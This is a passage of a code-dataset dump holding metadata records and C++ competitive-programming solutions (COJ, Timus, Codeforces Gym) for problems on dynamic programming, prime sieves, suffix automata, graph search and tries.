x;\r\n\t\t}\r\n\r\n\t\tfor (int j = 1; (1 << j) <= n; j++)\r\n\t\t\tfor (int i = 1; i + (1 << j) - 1 <= n; i++)\r\n\t\t\t\tRMQ[i][j] = min(RMQ[i][j - 1], RMQ[i + (1 << (j - 1))][j - 1]);\r\n\r\n\t\tfor (int i = 1, a, b; i <= r; i++)\r\n\t\t\tfor (int j = 1; j <= c; j++) {\r\n\t\t\t\tscanf(\"%d%d\", &a, &b);\r\n\t\t\t\tint lg = (int)log2(b - a + 1);\r\n\t\t\t\t//int pt = (ac[b] - ac[a - 1]), pp = min(RMQ[a][lg], RMQ[b - (1 << lg) + 1][lg]);\r\n\t\t\t\t//printf(\">>>>> %d %d %d %d\\n\", a, b, pt, pp);\r\n\t\t\t\tpts[j] += (ac[b] - ac[a - 1]) * min(RMQ[a][lg], RMQ[b - (1 << lg) + 1][lg]);\r\n\t\t\t}\r\n for (int i = 1; i <= c; i++)\r\n v.push_back(make_pair(pts[i], i));\r\n\r\n\t\tsort(v.begin(), v.end(), greater<pair<int, int> >());\r\n\t\tint pos;\r\n\t\tfor (int i = 0; i < v.size(); i++)\r\n\t\t\tif (v[i].second == c) {\r\n\t\t\t\tpos = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n //for (int i = 0; i < v.size(); i++)\r\n // printf(\">> %d %d\\n\", v[i].second, v[i].first);\r\n\r\n ////printf(\"pos %d\\n\", pos);\r\n\r\n\t\tint p = v[pos].first;\r\n\t\tfor (int i = pos - 1; i >= 0; i--)\r\n\t\t\tif (g >= v[i].first - p) g -= v[i].first - p, pos--;\r\n\t\t\telse break;\r\n\t\tprintf(\"%d\\n\", pos + 1);\r\n\r\n\t\tv.clear();\r\n\t\tfor (int i = 1; i <= c; i++) pts[i] = 0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39608803391456604, "alphanum_fraction": 0.4278728663921356, "avg_line_length": 16.590909957885742, "blob_id": "1b57a24e429f8719ca79e3e52dd9124bf3ca6ab3", "content_id": "ccaac00c6e2ac35ba931addb034401558c3aab06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 409, "license_type": "no_license", "max_line_length": 39, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2484-Accepted-s493119.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<limits.h>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,ac[2501],dp[2501],x,m;\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d\",&n,&m);\r\n for(int i=1; i<=n; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n ac[i]=ac[i-1]+x;\r\n x=INT_MAX;\r\n for(int j=1; j<=i; j++)\r\n x=min(x,ac[j]+dp[i-j]+2*m);\r\n dp[i]=x;\r\n }\r\n printf(\"%d\\n\",dp[n]-m);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4687882363796234, "alphanum_fraction": 0.48959606885910034, "avg_line_length": 19.5, "blob_id": "a76c9b28502e9120cc0d41374363ab2a165a1ab6", "content_id": "429bfaa0115f327062175f2e7f4ca64f81bc23b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 817, "license_type": "no_license", "max_line_length": 56, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p1524-Accepted-s615379.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <set>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint tc;\r\nstring str;\r\nset<int> sol;\r\n\r\nbool primo(int n) {\r\n\tif (n == 0 || n == 1) return false;\r\n\tif (n == 2 || n == 3) return true;\r\n\tif (n % 2 == 0) return false;\r\n\tfor (int i = 3; i * i <= n; i += 2)\r\n\t\tif (n % i == 0) return false;\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> str;\r\n\t\tint n = (int)str.size();\r\n\t\tsort(str.begin(), str.end());\r\n\t\tdo {\r\n\t\t\tint num;\r\n\t\t\tfor (int mask = 1; mask < (1 << n); mask++) {\r\n\t\t\t\tnum = 0;\r\n\t\t\t\tfor (int i = 0; i < n; i++)\r\n\t\t\t\t\tif (mask & (1 << i)) num = 10 * num + str[i] - '0';\r\n\t\t\t\tif (primo(num)) sol.insert(num);\r\n\t\t\t}\r\n\t\t} while (next_permutation(str.begin(), str.end()));\r\n\t\tcout << sol.size() << endl;\r\n\t\tif (tc) sol.clear();\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.27450981736183167, "alphanum_fraction": 0.3501400649547577, "avg_line_length": 33.70000076293945, "blob_id": "10d0351a3b41a3f0e9a9358c1243cd948ca8446d", "content_id": "ab0b0d611029107dceb3c1af6fa55aec89a61d2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 714, "license_type": "no_license", "max_line_length": 119, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2737-Accepted-s587680.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nconst int m[5][2] = {{1, 4}, {3, 4}, {3, 5}, {2, 6}, {1, 5}};\r\ndouble a[10], b[10], c[10], x[10], y[10];\r\n\r\nint main()\r\n{\r\n\tfor (int i = 1; i <= 6; i++)\r\n\t\tscanf(\"%lf%lf%lf\", a + i, b + i, c + i);\r\n\tfor (int i = 0; i < 5; i++)\r\n\t\tx[i] = ( c[m[i][1]] * b[m[i][0]] - c[m[i][0]] * b[m[i][1]] ) / ( a[m[i][0]] * b[m[i][1]] - a[m[i][1]] * b[m[i][0]] ),\r\n\t\ty[i] = ( a[m[i][1]] * c[m[i][0]] - a[m[i][0]] * c[m[i][1]] ) / ( a[m[i][0]] * b[m[i][1]] - a[m[i][1]] * b[m[i][0]] );\r\n\tx[5] = x[0];\r\n\ty[5] = y[0];\r\n\tdouble sol = 0;\r\n\tfor (int i = 1; i <= 5; i++)\r\n\t\tsol += sqrt( (x[i] - x[i - 1]) * (x[i] - x[i - 1]) + (y[i] - y[i - 1]) * (y[i] - y[i - 1]) );\r\n\tprintf(\"%.2lf\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.4595959484577179, "alphanum_fraction": 0.4747474789619446, "avg_line_length": 18.842105865478516, "blob_id": "3d62b9f97056cdeef79c19575cfe284559e1c2e9", "content_id": "40b6f04d3f45b16766baf008a8ccc3bb47450c2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 396, "license_type": "no_license", "max_line_length": 50, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p2772-Accepted-s608810.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXM = 1010;\r\n\r\nint n, m, arr[MAXM], pre, gan;\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 0; i < m; i++) scanf(\"%d\", &arr[i]);\r\n\tsort(arr, arr + m);\r\n\tfor (int i = 0; i < m; i++)\r\n\t\tif (gan < arr[i] * min(m - i, n)) {\r\n\t\t\tpre = arr[i];\r\n\t\t\tgan = arr[i] * min(m - i, n);\r\n\t\t}\r\n\tprintf(\"%d %d\", pre, gan);\r\n}\r\n" }, { "alpha_fraction": 0.2958715558052063, "alphanum_fraction": 0.3165137469768524, "avg_line_length": 14.148148536682129, "blob_id": "92bf45f6273a0263b74fac6ad9b2e62cb3b475ff", "content_id": "943ef4d11a8232b88a2be763a32687c7fdd21643", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 436, "license_type": "no_license", "max_line_length": 34, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2200-Accepted-s488979.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cmath>\r\nusing namespace std;\r\nlong long m,n,c,r;\r\n\r\nint main()\r\n{\r\n while(cin >> m)\r\n {\r\n n=m;\r\n r=1;\r\n for(long i=2; i*i<=n; i++)\r\n {\r\n c=0;\r\n while(n%i==0)\r\n {\r\n n/=i;\r\n c++;\r\n }\r\n if(c)r*=pow(i,c-1)*(i-1);\r\n }\r\n if(n>1)r*=(n-1);\r\n\r\n cout << m-r << endl;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.39270687103271484, "alphanum_fraction": 0.42075735330581665, "avg_line_length": 18.80555534362793, "blob_id": "980fbf7548f082e9d7b7f0a5ec4b756a01324e1f", "content_id": "3123a4f780714671a5bd3c0fdf8ebb316fc9fe8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 713, "license_type": "no_license", "max_line_length": 61, "num_lines": 36, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/A4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\n#define MAXN 2*100010\n#define MAXM 2*100010\nusing namespace std;\n\nint match[MAXN];\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin);\n int n, m;\n\n cin >> n >> m;\n int s = n+m+1,\n t = n+m+2;\n\n vector< pair<int,int> > ans;\n for( int i = 1; i <= n; i++ ){\n int x;\n while( cin >> x, x ){\n if( !match[i] && !match[n+x] ){\n ans.push_back( make_pair( i, x ) );\n match[i] = match[n+x] = true;\n }\n\n }\n }\n\n cout << ans.size() << '\\n';\n for( int i = 0; i < ans.size(); i++ ){\n cout << ans[i].first << \" \" << ans[i].second << '\\n';\n }\n\n}\n" }, { "alpha_fraction": 0.3219178020954132, "alphanum_fraction": 0.3465753495693207, "avg_line_length": 18.7297306060791, "blob_id": "c49cdc0c56b8f1d403ef69013fe5699313830f60", "content_id": "343277336fc4acc60e962f983338a7ad791865a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 730, "license_type": "no_license", "max_line_length": 41, "num_lines": 37, "path": "/Codeforces-Gym/100741 - KTU Programming Camp (Day 5)/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 5)\n// 100741L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, m, sz;\nint skill[20];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> m;\n sz = n + m;\n for (int i = 0; i < sz; i++) {\n cin >> skill[i];\n }\n int ans = 0;\n for (int i = 1; i < (1 << sz); i++) {\n long long red = 0;\n long long blue = 0;\n for (int j = 0; j < sz; j++) {\n if (i & (1 << j)) {\n if (j < n) {\n red += skill[j];\n } else {\n blue += skill[j];\n }\n }\n }\n if (red == blue) {\n ans++;\n }\n }\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.27421554923057556, "alphanum_fraction": 0.31514325737953186, "avg_line_length": 22.433332443237305, "blob_id": "8fd61f4839209551280d8a5ed007cf502931b6d6", "content_id": "596058646b95d0f44af9701949ef6030815fc06b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 733, "license_type": "no_license", "max_line_length": 55, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p2464-Accepted-s666436.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1000000007;\r\n\r\nint tc, N, K, x, dp[55][1005];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0); cout.tie(0);\r\n cin >> tc;\r\n while (tc--) {\r\n cin >> N >> K;\r\n for (int i = 0; i <= K; i++)\r\n for (int j = 0; j < N; j++)\r\n dp[i][j] = 0;\r\n\r\n for (int i = 0; i < N; i++) {\r\n for (int j = K - 1; j >= 0; j--)\r\n for (int k = 0; k < N; k++) {\r\n dp[j + 1][(k + i) % N] += dp[j][k];\r\n dp[j + 1][(k + i) % N] %= mod;\r\n }\r\n dp[1][i]++;\r\n dp[1][i] %= mod;\r\n }\r\n cout << dp[K][0] << \"\\n\";\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.343677282333374, "alphanum_fraction": 0.377036452293396, "avg_line_length": 15.740260124206543, "blob_id": "a485e125b42caa2c3bbb300c9b940d6c9fb8ec4f", "content_id": "6e073222c2e11462be80719650bc0e3e15e1f3c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1289, "license_type": "no_license", "max_line_length": 61, "num_lines": 77, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef pair<int,int> par;\n\nconst int MAXN = 200100;\n\nint a[MAXN], b[MAXN];\nint r[MAXN];\n\nbool mk[MAXN];\n\nint tot;\n\nbool ok( int i ){\n if( r[i] != 1 && r[i+1] != 1 ){\n return true;\n }\n\n return a[i] + a[i+1] > b[i] + b[i+1];\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n int n; cin >> n;\n\n int A = 0;\n\n for( int i = 1; i <= n; i++ ){\n cin >> a[i] >> b[i];\n\n if( a[i] == b[i] ){\n r[i] = 0;\n }\n else if( a[i] > b[i] ){\n r[i] = 1;\n A++;\n }\n else{\n r[i] = -1;\n }\n }\n\n tot = n;\n\n vector<par> sol;\n\n for( int i = 1; i < n && A*2 <= tot; i++ ){\n if( mk[i] || mk[i+1] ){\n continue;\n }\n\n if( (r[i] != 1 || r[i+1] != 1) && ok(i) ){\n mk[i] = mk[i+1] = true;\n tot--;\n sol.push_back( par( i , i+1 ) );\n }\n }\n\n if( A*2 <= tot ){\n cout << \"-1\\n\";\n return 0;\n }\n\n cout << sol.size() << '\\n';\n for( int i = 0; i < sol.size(); i++ ){\n cout << sol[i].first << ' ' << sol[i].second << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.5233644843101501, "alphanum_fraction": 0.5327102541923523, "avg_line_length": 21.47191047668457, "blob_id": "a6688f92867fcea7dc767bb041fefb3c8b5de87f", "content_id": "4290a1d34ee35a7a27ebe3a79b882bd0f494ebc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4173, "license_type": "no_license", "max_line_length": 116, "num_lines": 178, "path": "/Timus/1713-8094610.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1713\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200 * 1000 + 10;\r\n\r\nstruct sa_node {\r\n\tint max_length;\r\n\tmap <char, sa_node *> go;\r\n\tsa_node * suffix_link;\r\n\tvector <pair <char, sa_node *>> inv_suffix_link;\r\n\tint id;\r\n\tint pos;\r\n\tbool ok;\r\n\tbool visited;\r\n\t\r\n\tsa_node() {}\r\n};\r\n\r\nconst int SIZE = 2 * N + 10;\r\n\r\nsa_node all[SIZE];\r\nsa_node * first_free;\r\n\r\ninline sa_node * get_new(int max_length, int id, int pos) {\r\n\tfirst_free->max_length = max_length;\r\n\tfirst_free->go = map <char, sa_node *> ();\r\n\tfirst_free->suffix_link = nullptr;\r\n\tfirst_free->inv_suffix_link = vector <pair<char, sa_node *> > ();\r\n\tfirst_free->id = id;\r\n\tfirst_free->pos = pos;\r\n\tfirst_free->ok = true;\r\n\tfirst_free->visited = false;\r\n\treturn first_free++;\r\n}\r\n\r\ninline sa_node * sa_init() {\r\n\tfirst_free = all;\r\n\treturn get_new(0, 0, 0);\r\n}\r\n\r\n\r\ninline sa_node * get_clone(sa_node * u, int max_length) {\r\n\tfirst_free->max_length = max_length;\r\n\tfirst_free->go = u->go;\r\n\tfirst_free->suffix_link = u->suffix_link;\r\n\tfirst_free->inv_suffix_link = vector <pair<char, sa_node *> > ();\r\n\tfirst_free->id = u->id;\r\n\tfirst_free->pos = u->pos;\r\n\tfirst_free->ok = u->ok;\r\n\tfirst_free->visited = false;\r\n\treturn first_free++;\r\n}\r\n\r\ninline sa_node * add(sa_node * root, sa_node * p, char c, int id, int pos) {\r\n\tif (p->go.find(c) != p->go.end()) {\r\n\t\tsa_node * q = p->go[c];\r\n\t\tif (p->max_length + 1 == q->max_length) {\r\n\t\t\treturn q;\r\n\t\t}\r\n\t\tsa_node * clone_q = get_clone(q, p->max_length + 1);\r\n\t\tq->suffix_link = clone_q;\r\n\t\twhile (p != nullptr && p->go[c] == q) {\r\n\t\t\tp->go[c] = clone_q;\r\n\t\t\tp = p->suffix_link;\r\n\t\t}\r\n\t\treturn clone_q;\r\n\t}\r\n\tsa_node * l = get_new(p->max_length + 1, id, pos);\r\n\twhile (p != nullptr && p->go.find(c) == p->go.end()) {\r\n\t\tp->go[c] = l;\r\n\t\tp = p->suffix_link;\r\n\t}\r\n\tif (p == nullptr) {\r\n\t\tl->suffix_link = root;\r\n\t} else {\r\n\t\tsa_node * q = p->go[c];\r\n\t\tif (p->max_length + 1 == q->max_length) {\r\n\t\t\tl->suffix_link = q;\r\n\t\t} else {\r\n\t\t\tsa_node * clone_q = get_clone(q, p->max_length + 1);\r\n\t\t\tl->suffix_link = clone_q;\r\n\t\t\tq->suffix_link = clone_q;\r\n\t\t\twhile (p != nullptr && p->go[c] == q) {\r\n\t\t\t\tp->go[c] = clone_q;\r\n\t\t\t\tp = p->suffix_link;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn l;\r\n}\r\n\r\nstring s[N];\r\nint answer_pos[N];\r\nint answer_length[N];\r\n\r\npair <sa_node *, int> st[SIZE];\r\nint st_top;\r\n\r\ninline void solve() {\r\n\tint n;\r\n\tcin >> n;\r\n\t\r\n\tsa_node * root = sa_init();\r\n\troot->ok = false;\r\n\tsa_node * last = root;\r\n\t\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> s[i];\r\n\t\treverse(s[i].begin(), s[i].end());\r\n\t\tfor (int p = 0; p < (int)s[i].size(); p++) {\r\n\t\t\tlast = add(root, last, s[i][p], i, p);\r\n\t\t\tif (last->id != i) {\r\n\t\t\t\tlast->ok = false;\r\n\t\t\t}\r\n\t\t}\r\n\t\tlast = root;\r\n\t\tanswer_pos[i] = -1;\r\n\t}\r\n\t\r\n\tfor (sa_node * now = all; now != first_free; now++) {\r\n\t\tif (now->suffix_link != nullptr) {\r\n\t\t\tnow->suffix_link->inv_suffix_link.push_back(make_pair(s[now->id][now->pos - now->suffix_link->max_length], now));\r\n\t\t}\r\n\t}\r\n\t\r\n\tfor (sa_node * now = all; now != first_free; now++) {\r\n\t\tsort(now->inv_suffix_link.begin(), now->inv_suffix_link.end());\r\n\t}\r\n\t\r\n\tst[st_top++] = make_pair(root, 0);\r\n\t\r\n\twhile (st_top > 0) {\r\n\t\tsa_node * now = st[st_top - 1].first;\r\n\t\tint & ind = st[st_top - 1].second;\r\n\t\tif (ind == (int)now->inv_suffix_link.size()) {\r\n\t\t\tif (now->ok) {\r\n\t\t\t\tif (answer_pos[now->id] == -1 || answer_length[now->id] > now->suffix_link->max_length + 1) {\r\n\t\t\t\t\tanswer_pos[now->id] = now->pos - now->suffix_link->max_length;\r\n\t\t\t\t\tanswer_length[now->id] = now->suffix_link->max_length + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (now->suffix_link != nullptr) {\r\n\t\t\t\tif (!now->ok || now->id != now->suffix_link->id) {\r\n\t\t\t\t\tnow->suffix_link->ok = false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tst_top--;\r\n\t\t} else {\r\n\t\t\tst[st_top++] = make_pair(now->inv_suffix_link[ind].second, 0);\r\n\t\t\tind++;\r\n\t\t}\r\n\t}\r\n\t\r\n\tstring answer;\r\n\t\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (answer_pos[i] == -1) {\r\n\t\t\tcout << \"IMPOSSIBLE\\n\";\r\n\t\t} else {\r\n\t\t\tanswer = s[i].substr(answer_pos[i], answer_length[i]);\r\n\t\t\treverse(answer.begin(), answer.end()); \r\n\t\t\tcout << answer << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tsolve();\r\n\t\r\n\t\r\n}" }, { "alpha_fraction": 0.324644535779953, "alphanum_fraction": 0.43127962946891785, "avg_line_length": 21.44444465637207, "blob_id": "36e46196ca4062002807481636215f2a85c60d19", "content_id": "1dda8829ee2e8064e3c351ba322de2f44778c41b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 422, "license_type": "no_license", "max_line_length": 51, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2427-Accepted-s468558.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint p[1000001];\r\nint a,b;\r\n\r\nint main(){\r\n for(int i=2; i<1000002; i++)p[i]=1;\r\n for(int i=2; i*i<=1000000; i++)\r\n for(int j=i*i; j<=1000000; j+=i)p[j]=0;\r\n \r\n for(int i=3; i<1000001; i++)p[i]+=p[i-1];\r\n while(cin >> a >> b){\r\n if(a==0 && b==0)break;\r\n else cout << p[b]-p[a-1] << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.40697672963142395, "alphanum_fraction": 0.4218346178531647, "avg_line_length": 16.428571701049805, "blob_id": "afae149da46f7fcacd885f932af80b09e38678c2", "content_id": "7f917121e4041ebdce9c75e67932a38afe35bb08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1548, "license_type": "no_license", "max_line_length": 47, "num_lines": 84, "path": "/COJ/eliogovea-cojAC/eliogovea-p3715-Accepted-s1009539.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n, m;\r\nvector <pair <int, int> > g[N];\r\nbool visited[N];\r\n\r\nvoid dfs(int u, int limit) {\r\n\tvisited[u] = true;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i].first;\r\n\t\tint b = g[u][i].second;\r\n\t\tif (b >= limit && !visited[v]) {\r\n\t\t\tdfs(v, limit);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n >> m) {\r\n\t\tif (n == 0 && m == 0) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tg[i].clear();\r\n\t\t}\r\n\t\tvector <int> v;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tint x, y, z;\r\n\t\t\tcin >> x >> y >> z;\r\n\t\t\tg[x].push_back(make_pair(y, z));\r\n\t\t\tg[y].push_back(make_pair(x, z));\r\n\t\t\tv.push_back(z);\r\n\t\t}\r\n\t\tsort(v.begin(), v.end());\r\n\t\tv.erase(unique(v.begin(), v.end()), v.end());\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tvisited[i] = false;\r\n\t\t}\r\n\t\tdfs(1, -1);\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (!visited[i]) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (!ok) {\r\n\t\t\tcout << \"IMPOSSIBLE\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint lo = 0;\r\n\t\tint hi = v.size() - 1;\r\n\t\tint pos = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tvisited[i] = false;\r\n\t\t\t}\r\n\t\t\tdfs(1, v[mid]);\r\n\t\t\tbool ok = true;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (!visited[i]) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (ok) {\r\n\t\t\t\tpos = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << v[pos] << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.4062744975090027, "alphanum_fraction": 0.4431372582912445, "avg_line_length": 16.75, "blob_id": "d7a6d615e6d6cb3543bd54458b09d6f2d5f45f4f", "content_id": "33d699d600ce12b3e8676c2d85997842798da53b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1275, "license_type": "no_license", "max_line_length": 49, "num_lines": 68, "path": "/COJ/eliogovea-cojAC/eliogovea-p1481-Accepted-s640854.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <set>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 300005;\r\n\r\nstruct node {\r\n\tbool fin;\r\n\tint next[27];\r\n} T[MAXN];\r\n\r\nint sz;\r\n\r\nvoid add(const string &s) {\r\n\tint v = 0, c;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tc = s[i] - 'A';\r\n\t\tif (!T[v].next[c]) T[v].next[c] = ++sz;\r\n\t\tv = T[v].next[c];\r\n\t}\r\n\tT[v].fin = true;\r\n}\r\n\r\nset<string> S;\r\n\r\nconst int di[] = {1, 1, 0, -1, -1, -1, 0, 1};\r\nconst int dj[] = {0, 1, 1, 1, 0, -1, -1, -1};\r\n\r\nchar mat[7][7];\r\nbool mark[7][7];\r\n\r\nvoid find(int v, int i, int j, string str) {\r\n\tif (i < 0 || i > 4 || j < 0 || j > 4) return;\r\n\tif (mark[i][j]) return;\r\n\tint c = mat[i][j] - 'A';\r\n\tint p = T[v].next[c];\r\n\tif (p == 0) return;\r\n\tmark[i][j] = true;\r\n\tif (T[p].fin) S.insert(str + mat[i][j]);\r\n\tfor (int r = 0; r < 8; r++)\r\n\t\tfind(p, i + di[r], j + dj[r], str + mat[i][j]);\r\n\tmark[i][j] = false;\r\n}\r\n\r\nint w;\r\nstring ss;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tfor (int i = 0; i < 5; i++) {\r\n\t\tfor (int j = 0; j < 5; j++) {\r\n cin >> ss;\r\n mat[i][j] = ss[0];\r\n\t\t}\r\n\t}\r\n\tcin >> w;\r\n\twhile (w--) {\r\n\t\tcin >> ss;\r\n\t\tadd(ss);\r\n\t}\r\n\tfor (int i = 0; i < 5; i++)\r\n\t\tfor (int j = 0; j < 5; j++)\r\n\t\t\tfind(0, i, j, \"\");\r\n\tcout << S.size() << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.33141210675239563, "alphanum_fraction": 0.344860702753067, "avg_line_length": 19.6875, "blob_id": "13ac9c243e6c4e2403662259b21cc2d7bf6e0f9d", "content_id": "89376e13b1a5e18c27232a9a55110d419ab0c703", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 78, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p2051-Accepted-s665144.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2051.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nint n, m;\r\nstring p[25], s, ans = \"zzzzzzzzzzzzzzzzzzzzzzzzzzzzz\";\r\n\r\nint main() {\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> p[i];\r\n\t\tp[i] += \"#\";\r\n\t}\r\n\tfor (int i = 0; i <= m; i++) p[n] += \"#\";\r\n\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\ts.clear();\r\n\t\tfor (int j = 0; j <= m; j++) {\r\n\t\t\tif (p[i][j] == '#') {\r\n\t\t\t\tif (s.size() >= 2) ans = min(ans, s);\r\n\t\t\t\ts.clear();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ts += p[i][j];\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i <= m; i++) {\r\n\t\ts.clear();\r\n\t\tfor (int j = 0; j <= n; j++) {\r\n\t\t\tif (p[j][i] == '#') {\r\n\t\t\t\tif (s.size() >= 2) ans = min(ans, s);\r\n\t\t\t\ts.clear();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\ts += p[j][i];\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28752437233924866, "alphanum_fraction": 